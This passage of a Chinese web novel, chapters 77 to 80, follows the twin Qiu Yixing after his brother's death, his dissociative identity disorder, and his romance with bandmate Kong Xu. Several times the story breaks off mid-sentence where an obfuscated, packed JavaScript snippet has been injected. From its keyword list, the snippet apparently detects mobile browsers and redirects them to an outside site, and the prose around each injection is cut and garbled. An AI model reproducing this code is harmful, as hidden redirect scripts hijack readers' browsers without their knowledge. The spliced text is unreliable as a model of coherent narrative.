“好啊。”邱以星语气轻快,放下书包就跟他一道出了门。 大门关上,还没走出两步远,邱以睿一把揪住邱以星校服的衣领,怒火在他眼中熊熊燃烧,他再也无法维持微笑的面孔,咬牙切齿地说:“你他妈故意的?摆我一道?” “没错,”邱以星一眨不眨地逼视他的眼睛,露出跟邱以睿一样恶心的笑容,“我就是故意的,哥哥。” 邱以睿直接跟他在门外扭打起来,两个一样高一样力气的男孩子,谁也没讨到好处,为了避免被家里人看出来,都很默契地没往对方脸上招呼。 “你为什么这么对我?”邱以睿低声朝他吼,他肚子里挨了几拳,也如数还击到邱以星腰上。 邱以星像是不明白他为什么会问出这样的傻问题,喘着粗气,好笑地说:“明明是你先这样对我的啊。” “那是因为你——”邱以睿说到这突然间刹住,狠狠扼住邱以星的脖子,将他按在墙上,发出低低的气音,“因为你的到来,我所有的一切都被打乱了!” “……我?” “你是真不明白还是在装傻?凭什么你一来我就要分一半的房间给你,过生日也要跟你一起过,爸爸妈妈不再只看着我一个人,别人谈起我,说的都是‘双胞胎里的老大’,我为什么要跟你这种蠢人绑定在一起,就因为我们长得一样吗?” 即使邱以星做足了心理准备,可是听见邱以睿这么说,他还是不可避免地感到震惊和痛苦。 “我没有……”邱以星的声音弱了下来,他说,“我从来没有想抢走你的东西。” 邱以睿冷冷地望着他:“我知道,你没有那个能耐!邱以星,我警告你,你如果想继续在这这个家里安然无恙地生活下去,就不要想着跟我作对,爸妈他们从来不会说我一句不好,就算我今天翘课,你看见了没?妈妈没对我说一句重话,换做是你就不一定了。我希望你有点自知之明,不然,我不会让你好端端地在这个家里呆下去。” 邱以星再知道不过了,他爸妈只是把他当做是邱以睿的影子,爱他,也是因为与邱以睿相似。 终于从邱以睿口中得知他的真正想法,妄图跟他友好相处的愿景破灭,邱以星艰难地张了张口:“可我是你的亲弟弟啊。” “那又怎么样?”邱以睿反问他,语气里满是讥诮,“邱以星,你扪心自问,你有什么资格做我的兄弟?跟我同一胎,同一张脸,你感到很荣幸吧?我不需要这世上有另外一张跟我一模一样的脸,我觉得好恶心!” 邱以星失魂落魄地回到家,尚问兰奇怪地问他:“水果怎么没有买回来啊?” “嗯,我忘记买了。” “明天去吧,买点石榴,哥哥爱吃。”尚问兰转身看见邱以睿随手把裤子搭在沙发上,教育道,“说多少次了,衣服要好好叠起来,多大的人了,别让妈妈成天跟在后面说。” 她摸了摸邱以睿的头,忍不住又开始唠叨:“你今天没去学校上学让妈妈很担心,我去了你常去的地方都没找到你人,你在外面没有遇到什么麻烦事吧?要是有人欺负你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236345|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你一定要跟妈妈讲,妈妈会保护你的。” 邱以睿一听就笑了,撒娇似的抱住尚问兰:“谢谢妈妈,我真没事。” 邱以星关上房门,他想,来家里的这些年,尚问兰不曾记住他爱吃什么。 他们觉得凡是邱以睿喜欢的,他必然会喜欢,邱以睿讨厌的,他也会憎恶,他没有属于自己的思想与感受。 邱以星觉得好没意思,这种寄人篱下的日子令他一天都无法再忍受,可他还有其他办法吗?免费打工都不会有人要的年纪,他是这样人微言轻,摸干净身上所有的兜都找不出一个子来。他决定继续忍,咬牙切齿地忍,打碎牙往肚里吞一般的忍,忍到他能离开家,他便会像鸟一样张开双翅,再也不会飞回来。 可没等他离开家,邱以睿却先出了意外。 邱以星看见父母崩溃的样子,感觉自己也跟着死了一遭。 你们看看我啊……我也很爱你们,不比邱以睿少。邱以星在心里说,他能做的我也能做,他成绩好,我会努力学习,他会弹吉他,我也能认真学……我,我可以还给你们一个邱以睿,因为我们长得一模一样啊。 他恨透邱以睿,却也最了解真实的邱以睿,他知道怎样模仿才能模仿得相似,怎样说话才能讨得他人的欢心,渐渐地,他开始分不清自己到底是谁,尚问兰带他去医院,觉得他是痛失哥哥,遭受了巨大打击。 可去医院诊断,精神科的医生判断邱以星为分离性身份识别障碍。 尚问兰面色苍白地问:“医生……这是什么意思?” “意思是他还有另外一个人格,孩子之前是否有过什么创伤经历?人的大脑有防御机制,在遇到某些无法解决的苦难或者痛苦时,为了帮助减轻这种痛苦,从而会产生另外一个人格,将主人格从这种痛苦中解放出来。” 尚问兰彻彻底底地懵了:“……另一个人格?” 医生安慰说:“他这种情况可以通过治疗来改善,这需要你们家长们配合,不要再刺激孩子,定期送他到医院进行心理评估,我会给他开一些药……” 尚问兰没有再听下去,她整个脑子被“另外一个人格”占据,她想,那个人格是邱以睿啊。 是睿睿舍不得他们,所以附身在了邱以星身上。 过了很久,医生见她没有丝毫反应,再度询问说:“您听见了吗?” “医生,”尚问兰心慌意乱地吞了口唾液,可嗓子还是干得要命,她听见自己说话的声音,“医生啊,我家睿睿……另外一个人格会存在多久呢?” “这要因人而异,”医生以为孩子母亲病急乱投医,说话都有些颠三倒四了,语重心长地说,“我不能保证他一定能痊愈,但经过治疗,情况会有所有改善的,说不定一两年他的病情就能够得到控制。” 尚问兰再次沉默了,她握紧邱以星的手,八九月的天,她身上泛着嗖嗖的冷,她说:“医生……我们不治了。” 医生扶了下眼镜,对她严肃而认真地说:“不治了?如果是担忧医药费,我们公立医院收费透明,医保也能报销一部分,孩子的健康是最重要的,钱能再挣,孩子耽误的时间不能回来了呀。” 他不知道尚问兰到底听进去了多少,等他说完,尚问兰已经带着邱以星离开了。 78. 第 78 章 “池塘边的榕树上,知了在声声叫着夏天,操场边的秋千上,只有蝴蝶停在上面……” 邱以星边弹边唱罗大佑的《童年》,他弹得认真动情,孔栩坐在他身旁,沉醉地托着下巴,嘴里小声跟着他哼。大家意识到,邱以星说自己不会弹吉他,实在太谦虚了。 只有邱以星自己知道,这首歌是邱以星彻底跟他撕破脸那天,邱以睿大半夜把他从梦里拽起来,大发慈悲教他的。 邱以睿说:“邱以星,我刚刚想了想,教你吉他也没什么大不了了,反正你不可能弹得比我好,还有以后弹吉他的时候,一定要想起哥哥啊。” 邱以星放下吉他,他头痛欲裂,身上一阵阵地发冷。 阴魂不散的白色影子发出尖锐的笑声,在他耳边回荡,影子那张空无一物的脸逐渐显示出清晰的面貌来——跟他一模一样的五官,一模一样的神态。 他很近地凑过来,鬼气森森地笑着说:“邱以星,你弹吉他的时候在想我吗?” 邱以星打了个寒战。 当天的拍摄结束后,邱以星反常地早早洗漱完毕,回屋里躺下了。 孔栩被班凌留下来跟他们一起打牌,尹睢之则是拎着行李箱招呼也不打一声直接去了机场。 班凌对一脸纳闷的孔栩说:“不管他,他一向我行我素,能来已经给足了池丰面子。” 孔栩疑惑:“什么意思?” 班凌抢在池丰开口前说:“他死乞白赖地求我们来参加节目,说是想认识你,他脸皮薄不好意思一个人来……” 池丰踹班凌一脚,警告说:“你够了。” 班凌嘴上仍然不肯闭上:“你俩加个微信吧,不然他就白来了。” 池丰:“……” 孔栩闻言大大方方地拿出手机,笑着说:“加吧,班凌哥哥,我们也加一个。” 其实他没别的想法,只是把班凌和池丰当做是普通同事,像是在公司或者录音棚或者综艺现场遇到的那些工作人员,只是点头之交,转个身就忘记人长什么样了。 池丰本人跟他想得不太一样,不过他没有深度琢磨的意图,他知道这个人不会与他的生活产生多大交集,今天过后,再遇见也不知得什么时候了。 他们又玩了一会儿,孔栩困了,回去睡觉,却发现邱以星不在房间里。 人呢? 卫生间也没有人影,孔栩坐在床上给他发信息,床头柜上的手机发出嗡的一声响,是邱以星的手机。 这么晚了,他去哪儿了?手机都没带。 孔栩坐在床上等了几分钟,随后推开窗户想透透气,结果看见他正寻找的邱以星竟然在海边散步。 海风从陆地吹向海平面,将邱以星的短袖T恤吹得鼓鼓囊囊,孔栩忽然觉得邱以星好孤独。 可他又知道邱以星想一个人呆着,于是他就坐在窗台,看着邱以星在海边踱步。 随后他看见邱以星往海里走了几步,海水没过了邱以星的小腿,邱以星仿佛浑然不觉。 孔栩身体一僵,莫名升起一个可怕的念头,他噌的跳下窗台,疾风一般朝外狂奔,他跑得两条腿完全失去知觉,恐惧像是一柄枪冷冷抵住他的太阳穴,不会的,他嘴唇发着抖,不会的,邱以星他不会的。 可他还是难以抑制地恐惧,直到他看见邱以星的背影。 邱以星弯着腰,两条胳膊在海里捞着什么,随后他重重叹了口气,懊恼地转过身,看见孔栩站在海边,正直勾勾地望着他。 “你怎么……”邱以星还没说完,孔栩就扑了过来,力度之大,将他扑倒在海水里。 邱以星忙扶住孔栩的腰,一手撑在水里,怕孔栩栽进去。 “你在干什么?”孔栩面色发白,说话声带着一丝颤抖,“你大晚上不睡觉跑这里干什么?” “屋子里有点闷,我出来吹吹风,刚刚有条大好的鱼,我没捞到,让它给溜了。”邱以星自胸口以下全湿了,海水溅到他嘴里,他尝到又苦又涩的味道,“你怎么跑出来了?” 孔栩揪着他的衣领,很多很多话堆在嘴边,他不知该先说哪一句,漆黑的目光把邱以星看得后背发毛。 “真的?”孔栩问。 “我骗你干什么。”邱以星一把将孔栩拉起来,他们两个如同落汤鸡身上滴滴答答地滴着水,邱以星笑了一下,“又要洗一遍了。” 孔栩实在笑不出来,他干巴巴地扯了下嘴角,没撑过一秒,嘴角又拉了下来。 “好了,我又没怪你,”邱以星掐了下他的脸,“这么不高兴。” 孔栩只是紧紧攥着他的手,他没办法告诉邱以星,他有种即将失去他的感受。 最后孔栩只是说:“回去了,以后别一个人出来了。” 《海岛来客》这一期节目不出预料收视率创了新高,各大卫视的综艺和网综朝他们伸出橄榄枝,但项汝怡都拒绝了。现在知名度有了,应该潜下心搞创作,为以后的巡演做准备。 项汝怡这项英明的决策令他们有了喘息的空间,以及陈颂之前演的龙套竟然掀起了不小的水花,这令陈颂尝到了甜头,跟项汝怡商量说,以后还想试试拍戏。 公司换地方是项汝怡与陈闵开会商量得出的决定,光5的事业迈向正轨,公司的规模日渐庞大,他们正野心勃勃地试图在娱乐这个大板块上站稳脚跟,培养更多优秀的艺人。 于是孔栩目睹公司开始招十几岁的练习生,去影视学院挑选还没毕业的学生,双陈娱乐因为光5的走红迅速在业内打响名气,有不少已经具备一定粉丝数量的艺人主动联系他们。 管理着这样一个偌大的公司,项汝怡分身乏术,索性把他们交给朱伦。 朱伦相较于项汝怡,是个耳根子相当软的人,与项汝怡雷厉风行的做派完全不同,他们在朱伦手底下过上了稍微轻松一点的生活。 除了接代言拍广告,第二张专辑也正式进入制作阶段,相较于第一张专辑,他们更加游刃有余,这一年多的修炼让他们更有底气,也变得更成熟。 剩下的时间他们忙着学习,除了每个月的月考还有各种联考,补课补到头昏脑涨,让他们根本没有其他闲暇想着风花雪月,还有,孔栩已经快一个星期没有见到邱以星了。 邱以星住回了他自己的家。 尚问兰身体里长了个瘤,去医院做了个小手术,在医院住了几天住不惯,就回家了。 她向公司请了半个月假,邱以星在家照顾她,他们基本上不交流,邱以星不说话,尚问兰也找不到话题跟他说。 邱远白天上班,晚上加班,就更与邱以星没话聊。 邱以星小时候是个沉默寡言没有存在感的孩子,自从签了公司出道之后,红得大街小巷人尽皆知,八竿子打不着的远房亲戚们都发微信来问候尚问兰的病情,祝她早日康复。 这让尚问兰的日子又增添了一丝盼头,她阴郁的脸色逐渐放晴,气色也好多了,能够下床走动后,她来到厨房,看见邱以星在炖鸡汤,正切一把小葱洒在香喷喷的鸡汤里。 尚问兰从来没问过邱以星为什么会做饭。 饭桌上两人相对无言,尚问兰主动打破沉默,问他:“你那个经纪人给你放假了?” 邱以星说:“这几天没安排什么行程,不太忙。” 尚问兰点点头,说:“我听你姑妈说,你们那个组合是不是发什么专辑了?她想让你送几张签名的送人,还说你那个刚上初中的小表妹是你的忠实粉丝,成天在家唱你们的歌,吃火锅吃得口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邱以星干站在门口,没有让他进门的意思。 “那我走了。”孔栩垂下眼睫,把花粗暴地塞给邱以星,转身就走。 “别——”邱以星腾不出手抓他,上前几步,挡在孔栩面前,无奈地望着孔栩笑,“别生气,没不欢迎你,我每天都特别想你。” 他低头飞快在孔栩脸颊上亲了一口:“我妈正好在家,你去看吧。” 孔栩撇嘴,实话实说:“其实我是来看你,顺道过来看看你妈。” 邱以星带着孔栩进了家门,他们家户型是标准的三室一厅,上回尚问兰发疯在家烧东西,把杂物间烧得漆黑一片,于是邱以星请人把那间屋子重新装修了一遍,仔细看能看出些许的色差。 孔栩面对尚问兰有点紧张,他从思思那要来邱以星家里的地址,脑子一热买了东西就上楼来了,在门口徘徊犹豫半晌才敲门。 他不知道该怎么与何斯清一般年纪的女性相处,巧舌如簧的嘴竟然显得几分笨拙,反倒是尚问兰对他十分热情,拉着他的手,跟他聊得不亦乐乎。 邱以星冷着脸在一旁看着,尚问兰对孔栩说:“听小邱说,你在学习上帮了他很多,阿姨很感谢你,以后你们也要好好相处,继续做好朋友啊。” 孔栩点点头,刚要说什么,邱以星打断他的话:“你不是说要给我辅导作业,我那还有一堆作业等着你呢。” 尚问兰不赞同地看了眼邱以星:“人家孩子好不容易来一趟。” “没关系,”孔栩迫不及待地站起身,“阿姨,那我去看看他作业,有事儿您叫我们。” 尚问兰微笑着点点头:“去吧。” 邱以星快步带孔栩来到自己房间,他一气呵成地带上门,将门反锁,拉开椅子坐下,让孔栩反向坐在自己腿上。 孔栩不太好意思地挣扎一下,小声说:“你妈在外面呢。” “不管她。”邱以星仰头亲他红润柔软的嘴唇,孔栩跟他黏糊了一阵,然后把邱以星推开,正色说:“作业拿出来,我来检查。” 邱以星:“……” 79. 第 79 章 邱以星最近似乎打通了任督二脉,每次月考都能进步好几名,作业情况比孔栩料想得还要好,如果继续这样下去,期末应该能重新跻身到班级前三了。 孔栩坐在他腿上给他讲错题,邱以星撑着下巴光顾着看孔栩一张一合的嘴唇,忍不住又上去亲了一口。 “别烦,”孔栩瞪了他一眼,一本正经地说,“认真点。” 邱以星只好端正态度,可手不太安分,一直往孔栩衣服里面探,孔栩拿他没办法,捧着他的脸,跟他商量说:“把这页看完,你想怎么就怎么,行不行?” 得了便宜又卖乖的邱以星挑了下眉,不情不愿地说:“好吧。” 终于把错题讲完,孔栩挑了几道题让邱以星重新做了一遍,改了全对,孔栩松了口气,觉得他们大学考一个学校的概率大大提升了。 邱以星很久没见孔栩了,这个假期于他而言长得没边,他只想好好地抱着孔栩,用鼻梁蹭孔栩温热的下巴,又玩他修长的手指,好像孔栩是件值得珍爱把玩的物件,怎么玩都玩不够似的。 这时房门上的把手被拧了一下,发出很大的动静。 邱以星上了锁,所以没能拧开。 孔栩被吓得一个哆嗦,整个人都要炸毛了。 尚问兰敲了敲门,扬声说:“我给你们切了点水果,你们端进去吃。” 邱以星的脸色顿时阴沉下来,他放下孔栩,去开门。 孔栩注意到邱以星浑身笼罩一股黑色的不愉快的气息,邱以星有些暴躁地打开门,语气不善地说:“要吃我们会自己拿,还有你能不能先敲门?” 尚问兰愣了一下,不知道他怎么发这么大的火,最后邱以星也没拿那盘水果。 果盘里有他爱吃的橙子和菠萝,切成方便吃的小块,都用牙签插好,汁水不会弄脏手指。 邱以星心里装着一个巨大的火炉,炉子昼夜不息地燃烧,炉子里的水早已沸腾不已,嘶嘶地冒着热气,水不仅没有再度添加,而是日复一日地减少,少到炉子已经干涸开裂,以至于他连自身的完整也无法维持,即将坍塌损毁。 他已不在乎尚问兰的关心和爱了,她迟到的表达关心的举止在他看来只是徒增碍眼而已。 门再次被邱以星关上。 邱以星变得好陌生,孔栩不知该如何安慰,走过去拉了下他的手。 他的手与他的眉眼一样冰冷,孔栩怎么焐也焐不热,于是孔栩直接将他的手塞进自己衣服下摆,用体温温暖他。 邱以星的眼珠这才动了一下,按了按孔栩的肋骨,把他紧紧抱在怀里。 很紧很紧,勒得孔栩几乎喘不上气了,邱以星仍觉得不够,想把孔栩彻底地嵌进自己身体里,就此融为一体不再分离。 孔栩即使痛,也没有吭声,他抬手摸了摸邱以星的后脑勺,气息不畅地问他:“邱以星,你是不是哪儿不舒服?” 邱以星半晌才摇头:“没有。” 他松开孔栩,忽然把孔栩按在墙上,急不可耐地吻他。 孔栩的衣服被他揉得起皱,低低的喘息被他吞下去,邱以星神志不清地咬破他的嘴唇,在他的颈侧留下咬痕,孔栩用尽全力推他,打他,邱以星像是岿然不动的山,无法动摇丝毫。 直到邱以星碰到孔栩的眼泪,邱以星像是触了电一般弹开手指,他像是才回过神,惊恐地望着孔栩哭红的眼睛,孔栩的脸上湿成一片,两片嘴唇被他咬破皮,慢慢地渗出一丝殷红的血丝。 孔栩推了一下邱以星,邱以星往后退了两步,孔栩皱着眉头眼泪汪汪,抿了下嘴,尝到了血腥味:“邱以星,你是狗吗?” 邱以星的手脚不知该如何摆放,他确实产生了一股具有破坏性的冲动,被孔栩骂“狗”,也不敢置一词。 “邱以星,你怎么像变了个人?”孔栩说,“能别这样吗?我有点害怕。” 孔栩揉了下眼睛,靠墙缓了片刻,见邱以星还是站在原地,一动不敢动的样子,主动朝他迈出两步,伸出双手说:“好了,抱一下吧。” 邱以星如同一个无知觉的人偶被孔栩揽在怀里,孔栩拍了拍他后背,下巴垫着他的肩膀,柔声说:“我就是有点吓着了,下回让我有点心理准备好吗?” “嗯,”邱以星说,“我脑子有点不清楚,我不是故意的。” “我知道。”孔栩不知自己竟然还要反过来安慰他,很无奈地说,“你跟你妈有什么矛盾吗?” 邱以星顿了顿,小声说:“没什么矛盾。” “那你干嘛那么跟她说话?” 邱以星想也不想地开口:“我叛逆期到了。” “哈哈,”孔栩觉得还挺有说服力,“好吧,叛逆男孩,我能参观一下你屋子吗?” 邱以星让开身:“你看吧,没什么好看的。” 孔栩只是闲得没事干,他好奇地在邱以星屋子里东张西望。 他房间很大,足够住两个人,空余的地方足够邱以星再添置个篮球架投篮了。孔栩转了一圈,停在书架面前,手指头拨着书架上的书,很多稀奇古怪的小玩意,就在孔栩伸手往里探时,邱以星想到什么,拦腰将他一抱:“别看了,陪我午睡。” “到底谁陪谁睡?” “我,我是陪睡的。”邱以星把他抱到床上,脱了外衣,老实本分地将孔栩搂怀里睡觉。 可邱以星一时间根本无法睡着,即使孔栩陪在他身边,孔栩注意到他的异常,抬手在他眼底轻轻一划,对他说:“录音机等会给我带回去,我再录几个睡前故事给你。” “好。”邱以星的面色发白,像是许久未经太阳照射过的那种惨白,不健康,带着一丝病态。 他凝望着已经闭上眼睛的孔栩,脑中一闪而过孔栩在学校文化厅弹《玛丽有只小羊羔》的场景。 这是什么时候的事? 是梦吗?可这画面显得那么真实,闻旋和齐大彬两人在他旁边讲小话,孔栩在光芒四射的舞台上暴躁地弹奏了三遍这首曲子。 他当时觉得这人真有意思,很想结交看看。 更多诡异的记忆排山倒海一般从他脑海深处涌过来。 和孔栩在学校互相较劲,军训被教官惩罚,围着操场跑操,偷了孔栩的笔记本一页页撕下来烧了,还差点跟他打架……还有跟彭天和全小潭一起演出,他跟彭天说以后要开巡演,给丁尧装假肢……最远的记忆要追溯到那辆被撞翻的出租车。 他动弹不得,眼中一片血红,短暂人生的走马灯不停地旋转挨个亮起,他在剧烈的疼痛中不停失温,他听到自己的声音断断续续地传来:“我不要死……我好冷啊……那一边不会也这么冷吧……你替我活着好不好,我的人生都交给你了……” 那些被他刻意遗忘的记忆卷土重来,海潮一般将他卷进深不可测的深渊之中。 邱以星冷汗岑岑,此刻的我到底是谁?我的记忆究竟是谁的? 尚问兰在他醒来时叫的那一句“睿睿”,真的喊错了吗? 邱以星鬼使神差地坐起身,看向自己的书桌。 那个与他一样五官的白影坐在长桌边,是个少年的姿态,背影写满了孤独,他无时不刻地跟着自己,邱以星早学会无视他,不把他放在眼里,可他此刻回过头,面容悲伤地看着邱以星:“邱以星……我就要离开了,别忘了我。” 然后像是见了光的鬼魂,倏然间碎成无数细小的颗粒,彻底消失了。 孔栩午睡醒来,看见邱以星坐在桌前发呆,邱以星背对着他,窗户外的光线照在他身上,孔栩却觉得他身上像是披了一层严霜,密不透风的霜将他冻成冰做的雕塑。 “邱以星?”孔栩喊他。 邱以星转过头,他眉眼竟然添了几分他看不懂的陌生,孔栩心里蓦地一跳。 “你……”邱以星顿了一下,“我送你回去吧。” “哦,”孔栩穿上外套,来到邱以星面前,细细地打量他半晌,“别送了,我认识路,你刚刚又做梦了吗,脸色好差。” 邱以星并没有理会孔栩的话,拍了下他胳膊:“送你,把口罩帽子戴上。” 孔栩跟尚问兰道别,尚问兰说以后再来家里玩,提前跟他说,阿姨给做好吃的。 邱以星一直把孔栩送到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈颂揉了揉鼻尖,笑着说:“知道了。” 孔栩也替陈颂高兴,让他跟导演打好关系,说不定能让他们写个电影的主题曲插曲什么的。 项汝怡很久没给他们开会了,长话短说总结了他们接下来的行程安排,有三个商业活动,还有音乐节之类的,最主要的是等他们明年高考之后去海外巡演的计划。 这令他们十分兴奋,孔栩虽然出过国,但那会全程被何斯清带着参加钢琴比赛,基本上没有自己的自由行时间,项汝怡说第一站是在加拿大,等空闲下来可以带他们一起去滑雪。 尽管知道是空头支票,他们却情不自禁地浮想联翩,孔栩甚至打算购买设备,提前精进一下滑雪技术。 开完会,孔栩私下里找到邱以星,把他已经录好音的录音机还给了邱以星。 邱以星接过,说了声“谢谢”。 孔栩:“这么客气干什么。” 过了一会儿孔栩叮嘱他:“你记得听啊。” 邱以星晃了晃录音机:“哦,好。” 晚上朱伦带他们出去吃饭,项汝怡没有多过问,他们也挺久没在一块吃饭,本以为是私人聚餐,没想到现场还有几个陌生面孔。 挺有名的大酒店,奢华的包厢,陈颂立即意识到什么,飞快看向朱伦,朱伦有些心虚地招呼他们坐下,不看直视陈颂的眼睛:“呃,我给大家介绍一下,这位是华禹传媒的蒋总监,这位是《大尚》的宋主编,你们都坐,吃个便饭,不要太拘谨。” 陈颂不想卖这个面子,冷笑一声说:“我有什么可拘谨的?” 就算是陈闵让他陪着吃饭也得提前预约,项汝怡是从来不会给他攒这种饭局的,认识人可以,但需要提前跟他们说,朱伦这一声不吭把他们带过来是几个意思? 陈颂没了胃口,想带他们走人,孔栩拉了他一把,心说他马上要拍电影,何必在这个节骨眼上得罪媒体的人,这帮人的嘴可是抹了砒霜的,不留神就会被他们毒死。 孔栩率先跟他们打了个招呼,其他人也陆续跟着坐下来,夏桃杉低声对陈颂:“没关系,吃完就走,免费的饭不吃白不吃。” 陈颂想想也是,于是坐下,翻开菜单,打算狠狠宰朱伦一笔。 80. 第 80 章 暑假一晃眼就到了,不过假期十分之短,没了陈颂这根主心骨,他们哪儿都没去。 私底下聚了几次餐,有次约在陈年饭庄,陈闵正和人吃饭,送人出来正好和陈颂撞了个正着,陈颂抬起脚就要开溜,被陈闵伸长手臂一拽,将他提了回来。 大家认出这是公司的老总,项汝怡的顶头上司,老总很是亲切地对他们进行了一番慰问,并请他们吃了一顿大餐,席间他们知道了陈颂竟然是老总的亲弟弟。 这个消息令他们倍感震惊,震惊之余想起之前发生的种种,难怪陈颂总是冲锋陷阵这么有种,原来是背靠这样一片热带雨林。 陈颂不愿跟他们提自己家庭,就怕他们觉得自己游手好闲不务正业,没想到离开饭庄,个个都开始对他谄媚异常,抱他大腿,问以后来饭庄吃饭能不能免费无限畅吃。 在这期间,他们还一起去电影院看了陈颂之前演龙套的电影,午夜场里没其他人,就他们五个。 陆笑蓉一边吃爆米花一边问:“陈颂,你什么时候出现呐?” 陈颂分外无语:“你到底看了没?第一幕那个卖报纸的不就是我吗?” “别激动,”陆笑蓉“啊”了一声,“你锉成那样,我属实没看出来。” 陈颂:“拜托您闭嘴吧。” 陆笑蓉得逞,搂着夏桃杉胳膊笑了两声:“桃子你看,是不是很锉?” 夏桃杉点评:“我觉得挺帅的。” “我去,”陆笑蓉把她胳膊扔到一边,“天哪,这不会就是传说中的‘情人眼里出西施’吧?” 陈颂和夏桃杉谈恋爱跟项汝怡报备过,项汝怡还能说什么?只让他们在人前注意点,别被拍到什么不该拍的。 不过项汝怡这担心纯属多余,柏拉图都没他俩纯情。 从电影院里出来,陆笑蓉到一旁接了个电话,孔栩他们便在路边等她。 陈颂和夏桃杉并肩凑一块说着什么,孔栩眼睛简直要被他俩闪瞎,他只好转身去找邱以星。 他一直想找时间单独跟邱以星相处,这回终于让他抓住机会,他问邱以星明天能不能去他家找他玩,邱以星愣了一下:“找我有事?” 孔栩被他这一问弄得有些懵:“没事就不能找你了?” 尚问兰的身体已经恢复得差不多,开始上班了,家里虽没人,可邱以星还是觉得在家不自在。 “我不是这个意思,”邱以星说,“我去找你,你在家里等我。” “好啊,”孔栩觉得这样正好,喜滋滋地告诉邱以星,“其实我最近在学做饭,你有什么想吃的吗?我给你做。” 邱以星一听,顿时来了兴趣:“真的假的?” 孔栩:“那还有假,我对着菜谱学的,都学半本了。” 邱以星:“你看着做吧,我不挑食,或者你等我过去跟你一起做。” 孔栩:“不用,放心,毒不死你。” 陆笑蓉这个电话打得够久的,她回来后脸色似乎都憔悴了一圈,夏桃杉问她在跟谁打那么久,陆笑蓉说起这个一脑门火:“还不是我那个死鬼老爸,他喝多了跟我倒苦水,说一箩筐废话,等我满十八岁成年了,我一定要搬走,离他要多远有多远。” 大家对她进行了一番安慰,陆笑蓉张了张口,似乎打算说什么,最后想了想,还是没有说。 第二天,孔栩一大早就去花店买了一束粉色的郁金香,在菜市场兜兜转转一圈,买的都是他和邱以星爱吃的菜。纵使裹得严严实实还是被人认了出来,他一个劲的说认错人,他不是孔栩,只是长得像。 好不容易脱困,他一回家,就将花插进了白色的大肚收口花瓶里。花瓶是之前他和邱以星晚上骑车兜风时,在路边的小摊上买的,五块钱,他觉得好看就买了一个。 如今终于有了用武之地,他欣赏半天,又在花上喷了点水,水珠点缀在粉色花瓣上,晶莹美丽,孔栩十分满意。 不多时,邱以星过来了。 孔栩正在做可乐鸡翅,邱以星一进厨房就仰头咕咚咕咚喝了他大半瓶可乐,孔栩不可思议:“邱以星,你在干什么?” 邱以星咧嘴笑:“喝可乐啊。” 孔栩简直有些摸不着头脑:“我做可乐鸡翅,你喝我可乐干什么?!” 邱以星说:“你做可乐鸡翅是给我吃的吗?” “是啊。” “可乐是做可乐鸡翅的,可乐鸡翅是给我吃的,我喝可乐有什么问题吗?” “没问题……个屁,你给我出去!”孔栩张牙舞爪地挥舞着锅铲,“别碍我的事!” “真不要我帮忙啊,”邱以星扒着门缝,见孔栩横眉怒视他的模样忍不住想逗他,“万一没熟我吃了拉肚子怎么办?” “邱以星,你什么时候变这么烦人了,”孔栩关上厨房门,恼怒道,“你就吃吧,吃坏了我负责送你去医院。” 孔栩的声音被关在门内,听上去有些闷闷不乐。 邱以星的笑容在门关上的刹那消失了。 他有些疑惑地想,我这么做不对吗? 我之前是怎么跟孔栩相处来着? 他已经很久很久没有睡过一次真正意义上的好觉,去医院开安眠药,一开始有用,后来吃多了白天居然也昏昏沉沉的,他就没敢再吃。 睡不好导致记性也变差了,过往的很多事像是罩在毛玻璃当中,模模糊糊的,他有些分不清哪些是自己真正经历过的,哪些只是突如其来的记忆。 他觉得自己应该去看看医生,而不是像现在这样摸索着如何与孔栩相处。 可医生能治好他吗?邱以星不确定,他不想让孔栩知道自己并不正常。 到十一点半,孔栩终于鼓捣出了三菜一汤,除了可乐鸡翅,还有牛肉滑蛋和肉沫豆腐,以及一道山药排骨汤。 菜竟然看上去都挺像那么回事的,孔栩做菜做得面色红扑扑的,他叫邱以星过来尝尝。 孔栩并不喜欢做饭,之前总点外卖,跟邱以星短暂地住了一段时间后发现还是自己做饭更好,而且他学什么都快,对着菜谱上的步骤几乎能分毫不差地复刻出来。 “怎么样?”孔栩期待着看着邱以星,眼睛简直像是在朝他放电。 邱以星每道菜尝过之后,夸张地评价说:“太好吃了,你是不是在厨房里偷偷藏了个超级大厨?” 明知道他在夸张,孔栩还是忍不住高兴:“那你多吃点。” 吃到一半,孔栩想起给邱以星拿饮料,冰箱里有他冷藏的橙汁,这个天气拿出来喝刚好。 孔栩一边喝着橙汁,一边端详邱以星的脸,不经意说道:“邱以星,你最近黑眼圈又加深了。” 邱以星:“人无完人,帅哥的脸上总会有些瑕疵,这很正常。” 孔栩牙疼似的看他一眼:“你怎么这么自恋。” 邱以星不动声色地揣摩着孔栩的表情,他难道更喜欢低调谦虚的类型? “我给你录的睡前故事,你听了吗?”孔栩又问。 “听了啊,”邱以星说,“从头听到尾,循环播放。” 孔栩的动作一顿,他手心冒了点汗,无意识抿了下嘴唇,说:“那你觉得……怎么样?” “哦……”邱以星拉长语调,“很好啊。” “‘很好’?” “没错,很好,我很喜欢。”邱以星飞快地补充。 孔栩的心很有活力地跳了起来:“你也喜欢?” 邱以星认真地回答:“我也喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 